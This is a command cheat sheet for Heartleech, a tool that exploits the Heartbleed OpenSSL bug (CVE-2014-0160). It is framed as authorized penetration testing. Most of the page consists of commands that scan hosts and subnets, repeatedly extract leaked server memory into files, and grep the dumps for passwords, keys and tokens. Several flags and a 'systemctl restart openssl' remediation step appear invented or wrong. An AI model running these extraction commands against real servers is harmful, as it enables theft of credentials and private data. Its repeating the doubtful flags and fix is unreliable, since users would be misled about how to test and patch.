Overview
Heartleech is a specialized security testing tool designed to identify and demonstrate the Heartbleed vulnerability (CVE-2014-0160) in OpenSSL implementations. Heartbleed is a critical memory leak vulnerability in OpenSSL’s TLS heartbeat extension that allows attackers to read unencrypted memory from affected servers. Heartleech enables authorized penetration testers and security professionals to assess their infrastructure for this vulnerability.
Important Notice
This tool is strictly for authorized security testing, vulnerability assessment, and authorized penetration testing only. Unauthorized testing of systems you do not own or have explicit permission to test is illegal.
Installation
Linux (Debian/Ubuntu)
sudo apt-get update
sudo apt-get install heartleech
macOS
brew install heartleech
From Source
git clone https://github.com/robertdavidgraham/heartleech.git
cd heartleech
make
sudo make install
Compilation from Source
# Using gcc
gcc -o heartleech heartleech.c -lssl -lcrypto
# With additional libraries
gcc -o heartleech heartleech.c -lssl -lcrypto -lpthread
Verify Installation
heartleech --version
heartleech --help
Basic Usage
Simple Vulnerability Detection
| Command | Description |
|---|
heartleech target.com | Scan single host for Heartbleed |
heartleech target.com:443 | Scan specific port |
heartleech 192.168.1.100 | Scan by IP address |
heartleech target.com -c 5 | Make 5 probe attempts |
heartleech target.com -v | Verbose output |
Examples
# Basic scan of web server
heartleech example.com
# Scan with custom port
heartleech internal.server.local:8443
# Multiple probe attempts
heartleech vulnerable-server.com -c 10
# Verbose scan with detailed output
heartleech target.example.com -v
# IP-based scanning
heartleech 10.0.1.50 -c 3
Vulnerability Assessment
Identifying Vulnerable Systems
| Command | Description |
|---|
heartleech target.com -s | Check vulnerability status only |
heartleech target.com -x | Extract data without detailed output |
heartleech target.com -e | Extended vulnerability checking |
heartleech target.com -d | Debug mode with verbose information |
Scan Examples
# Quick vulnerability check
heartleech target.example.com -s
# Extended assessment
heartleech webserver.internal -e
# Debug scan (detailed diagnostics)
heartleech questionable-server.com -d
# Simple status check
heartleech smtp.example.org -s
Memory Leak Investigation
| Flag | Description |
|---|
-x | Extract leaked memory data |
-o file.bin | Save extracted data to file |
-r num | Repeat extraction num times |
-l num | Limit extraction to num bytes |
Examples
# Extract leaked memory
heartleech target.com -x
# Extract and save to file
heartleech target.com -x -o leaked_memory.bin
# Multiple extractions
heartleech target.com -x -r 5
# Limited extraction (first 1000 bytes)
heartleech target.com -x -l 1000
# Extract memory dump
heartleech server.com -x -o memory_dump.bin
# Examine in hex
hexdump -C memory_dump.bin | head -50
# Search for patterns
strings memory_dump.bin | grep -i password
# Look for common credentials
strings memory_dump.bin | grep -E "(username|password|auth|key)"
Port and Service Scanning
Multiple Port Testing
| Command | Description |
|---|
heartleech target.com -p 443,8443,465 | Multiple ports |
heartleech target.com -p 1-65535 | Scan all ports (slow) |
heartleech target.com -p 443 | Single port explicit |
heartleech -f hostlist.txt | Batch scanning from file |
Examples
# Common HTTPS ports
heartleech server.com -p 443,465,587,8443
# Scan SMTP/TLS port
heartleech mail.example.com -p 587
# IMAPS port
heartleech imap.example.com -p 993
# Database SSL (MySQL)
heartleech db.internal -p 3306
# Multiple services
heartleech infrastructure.example.com -p 443,465,993,995
Batch Processing
Multiple Host Scanning
| Command | Description |
|---|
heartleech -f hosts.txt | Scan hosts from file |
heartleech -i 192.168.1.0/24 | Scan CIDR range |
heartleech -f hosts.txt -c 3 | Batch with multiple probes |
heartleech -f hosts.txt -o results.txt | Save results to file |
# Create hostlist.txt
cat > hostlist.txt << EOF
example.com
api.example.com
mail.example.com
webserver.internal
192.168.1.100
EOF
# Scan batch
heartleech -f hostlist.txt
# With output logging
heartleech -f hostlist.txt -v > scan_results.txt
CIDR Range Scanning
# Scan subnet for vulnerable hosts
heartleech -i 10.0.0.0/24
# Larger range (slow)
heartleech -i 10.0.0.0/16 -c 2
# Combine with output
heartleech -i 192.168.1.0/24 -v > network_scan.log
Detailed Scan Options
Advanced Scanning Parameters
| Flag | Description |
|---|
-c num | Number of probe attempts (default: 3) |
-v | Verbose output |
-d | Debug mode |
-t num | Timeout in seconds |
-4 | IPv4 only |
-6 | IPv6 only |
Examples
# Aggressive scanning (10 probes)
heartleech target.com -c 10
# Verbose with debugging
heartleech target.com -v -d
# Custom timeout (30 seconds)
heartleech slow-server.com -t 30
# IPv4 specific
heartleech dual-stack.example.com -4
# IPv6 specific
heartleech dual-stack.example.com -6
Output and Reporting
Logging Results
| Command | Description |
|---|
heartleech target.com > results.txt | Redirect output |
heartleech -o results.txt target.com | Explicit output file |
| `heartleech -v target.com 2>&1 | tee full_log.txt` |
Generating Reports
# Scan and save results
heartleech example.com -v > heartbleed_scan_example.txt
# Timestamp results
heartleech server.com -v > heartbleed_scan_$(date +%Y%m%d_%H%M%S).txt
# Create vulnerability report
cat > report.txt << EOF
Heartbleed Vulnerability Assessment
Date: $(date)
Target: $(heartleech target.com)
EOF
heartleech target.com -v >> report.txt
# Combine multiple scans
heartleech -f servers.txt -v > comprehensive_scan.log
Response: OK / VULNERABLE / UNCERTAIN
- OK: Not vulnerable to Heartbleed
- VULNERABLE: Confirmed vulnerable to CVE-2014-0160
- UNCERTAIN: Unable to determine vulnerability status
Forensic Workflows
Complete Assessment Procedure
# Step 1: Identify vulnerable hosts
heartleech -i 10.0.0.0/24 -c 3 > scan_results.txt
# Step 2: Parse vulnerable hosts
grep VULNERABLE scan_results.txt > vulnerable_hosts.txt
# Step 3: Detailed assessment of each
while read host; do
echo "=== Detailed scan: $host ===" >> detailed_results.txt
heartleech $host -v -d >> detailed_results.txt
done < vulnerable_hosts.txt
# Step 4: Extract memory samples
while read host; do
heartleech $host -x -o leaked_memory_$host.bin
done < vulnerable_hosts.txt
Memory Leak Analysis
# Extract multiple times to find secrets
for i in {1..5}; do
heartleech target.com -x -o dump_attempt_$i.bin
done
# Analyze all dumps for common patterns
cat dump_attempt_*.bin | strings | grep -E "(password|secret|key|token)"
# Compare dumps for consistency
cmp dump_attempt_1.bin dump_attempt_2.bin
Chain of Custody Documentation
# Document test execution
echo "Heartbleed Assessment - $(date)" > assessment.log
echo "Authorized by: [Name]" >> assessment.log
echo "Purpose: Vulnerability Assessment" >> assessment.log
echo "Target: $(hostname -f)" >> assessment.log
echo "" >> assessment.log
# Run assessment
heartleech target.com -v -d >> assessment.log
# Hash for integrity
sha256sum assessment.log > assessment.log.sha256
Pipeline with Text Processing
# Find all vulnerable hosts in network
heartleech -i 10.0.0.0/24 | grep VULNERABLE | awk '{print $1}'
# Export for external tools
heartleech -f targets.txt -v | grep -A 5 VULNERABLE > vulnerable_report.txt
# Count vulnerable instances
heartleech -f allhosts.txt | grep -c VULNERABLE
Integration with Automation
# Automated remediation workflow
heartleech server.com -s && {
echo "Vulnerable - Initiating remediation"
ssh admin@server.com "systemctl restart openssl"
} || {
echo "Not vulnerable or already patched"
}
# Alert on vulnerability detection
heartleech -f critical_servers.txt | grep -q VULNERABLE && {
echo "ALERT: Heartbleed vulnerability detected!" | \
mail -s "Security Alert" security@company.com
}
Best Practices
Authorized Testing Only
# Document authorization
# - Obtain written permission before scanning
# - Identify authorized targets in writing
# - Record test date, time, and scope
# - Save all results with timestamps
heartleech -f authorized_targets.txt -v > test_$(date +%Y%m%d_%H%M%S).log
Responsible Disclosure
# If vulnerability found:
# 1. Document findings
# 2. Report to system owner/vendor
# 3. Allow remediation time
# 4. Follow responsible disclosure timeline
# Create vendor notification
cat > notification.txt << EOF
Heartbleed Vulnerability Detection
Target: [hostname]
Severity: CRITICAL (CVE-2014-0160)
Recommended Action: Upgrade OpenSSL to patched version
EOF
Security Measures
# Protect assessment results
heartleech -f targets.txt -v > results.txt
chmod 600 results.txt
# Encrypt sensitive findings
gpg -e -r recipient@company.com results.txt
# Secure disposal after remediation
shred -vfz -n 3 results.txt
Troubleshooting
Connection Issues
# Test basic connectivity
ping target.com
# Check TLS support
openssl s_client -connect target.com:443
# Debug connection with heartleech
heartleech target.com -d -v
Timeout Issues
# Increase timeout for slow servers
heartleech slow-server.com -t 60
# Multiple attempts
heartleech target.com -c 10 -t 30
False Positives
# Confirm with multiple probes
heartleech target.com -c 10
# Verify with openssl directly
echo "QUIT" | openssl s_client -connect target.com:443 -tlsextdebug 2>&1 | grep heartbeat
Confirming Patch Application
# After patching, re-scan target
heartleech patched-server.com -c 5
# Expected output:
# Response: OK (indicates patched/not vulnerable)
# Verify OpenSSL version
ssh admin@server.com "openssl version"
# Check if heartbeat extension is disabled
echo "QUIT" | openssl s_client -connect server.com:443 -tlsextdebug
- sslyze - SSL/TLS security testing
- testssl.sh - Comprehensive SSL/TLS testing
- nmap with ssl-enum-ciphers - Service scanning
- openssl - Direct TLS protocol testing
- sslscan - SSL/TLS configuration assessment
CVE Details
- CVE ID: CVE-2014-0160
- Affected Versions: OpenSSL 1.0.1 through 1.0.1f
- Severity: CRITICAL (CVSS 7.5)
- Discovery: April 2014
- Fix: OpenSSL 1.0.1g and later
- Impact: Memory leak from heartbeat packets
Resources
